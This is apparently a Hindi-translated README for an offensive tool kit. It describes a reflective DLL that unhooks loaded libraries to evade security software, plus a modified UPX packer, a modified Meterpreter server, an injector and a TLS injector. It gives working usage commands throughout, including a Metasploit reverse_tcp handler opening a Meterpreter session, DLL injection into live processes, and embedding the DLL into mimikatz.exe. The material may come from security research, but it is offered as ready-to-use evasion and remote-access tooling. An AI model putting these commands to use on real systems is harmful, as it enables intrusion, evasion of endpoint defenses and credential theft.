
प्रतिबिंबित DLL जो प्रक्रिया मेमोरी को स्कैन करता है और सुरक्षा सॉफ़्टवेयर से बचने के लिए लोड की गई लाइब्रेरीज़ को अनहुक करता है, साथ में UPX, TLS इंजेक्टर, और Meterpreter एकीकरण।
DLLRefresher.exe प्रक्रिया की मेमोरी स्पेस को स्कैन करने और वर्तमान में लोड की गई लाइब्रेरीज़ को अनहुक करने के लिए एक स्टैंडअलोन टेस्ट हार्नेस है।
पैकेज्ड UPX बाइनरीज़ को एक अतिरिक्त पैरामीटर (-X <path/to/target.dll>) का समर्थन करने के लिए संशोधित किया गया है, ताकि इसे पैक्ड बाइनरी में एम्बेड किया जा सके। अंतिम UPX पैक्ड बाइनरी लक्ष्य निष्पादन योग्य फ़ाइल को मेमोरी में अनपैक करेगी और निष्पादन योग्य फ़ाइल के मूल एंट्री पॉइंट में जाने से पहले एम्बेडेड DLL को कॉल करेगी।
संशोधित UPX स्रोत यहाँ पाया जा सकता है @ https://github.com/CylanceVulnResearch/upx/tree/reflective_dll
उपयोग:
upx -o <output filename> -X <path/to/embed.dll> <target executable>
उदाहरण:
upx -o packed_binary.exe -X ReflectiveDLL.x86.dll target_binary.exe
metsrv.dll (meterpreter फ़ोल्डर में संबंधित प्लगइन्स सहित) एक संशोधित meterpreter सर्वर है जो meterpreter इनिशियलाइज़ेशन चलाने से पहले वर्तमान में लोड की गई लाइब्रेरीज़ को अनहुक करेगा।
उपयोग:
meterpreter फ़ोल्डर से सभी DLL को metasploit-framework/data/meterpreter/ में कॉपी करें और सामान्य रूप से लक्ष्य पर meterpreter निष्पादन प्राप्त करें।
उदाहरण:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > run
[*] Started reverse TCP handler on 10.10.10.171:4444
[*] Starting the payload handler...
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
[*] Sending stage (1195055 bytes) to 10.10.10.186
[*] Meterpreter session 1 opened (10.10.10.171:4444 -> 10.10.10.186:58657) at 2016-10-03 10:07:39 -0400
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.dll is being used
meterpreter > WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_priv.x64.dll is being used
Inject.exe किसी भी प्रक्रिया में दी गई DLL को इंजेक्ट करने के लिए एक सहायक उपयोगिता है।
उपयोग:
Inject.exe <pid> <filename>
उदाहरण:
Inject.exe 2964 ReflectiveDLLRefresher.x86.dll
[+] Injected the 'ReflectiveDLLRefresher.x86.dll' DLL into process 2964.
DLL को post/windows/manage/reflective_dll_inject मॉड्यूल का उपयोग करके meterpreter सत्र के माध्यम से इंजेक्ट किया जा सकता है।
उपयोग:
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION <session-id>
msf post(reflective_dll_inject) > set PID <pid of meterpreter session>
msf post(reflective_dll_inject) > run
उदाहरण:
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION 1
msf post(reflective_dll_inject) > set PID 4068
msf post(reflective_dll_inject) > run
[*] Running module against WIN10DEV
[*] Injecting /root/ReflectiveDLLRefresher.x86.dll into 4068 ...
[*] DLL injected. Executing ReflectiveLoader ...
[+] DLL injected and invoked.
[*] Post module execution completed
tlsInjector.py Borja Merino की स्क्रिप्ट का एक संशोधित संस्करण है जो रिफ्लेक्टिव DLL इंजेक्शन का समर्थन करता है। यह एक रिफ्लेक्टिव DLL लेगा और इसे 32-बिट निष्पादन योग्य फ़ाइल के TLS अनुभाग में इंजेक्ट करेगा (64-बिट समर्थित नहीं है)।
उपयोग:
python tlsInjector.py -l <path/to/embed.dll> -f <target executable> -o <output filename> -t
उदाहरण:
python tlsInjector.py -l ReflectiveDLLRefresher.x86.dll -f mimikatz.exe -o mimikatz_tls.exe -t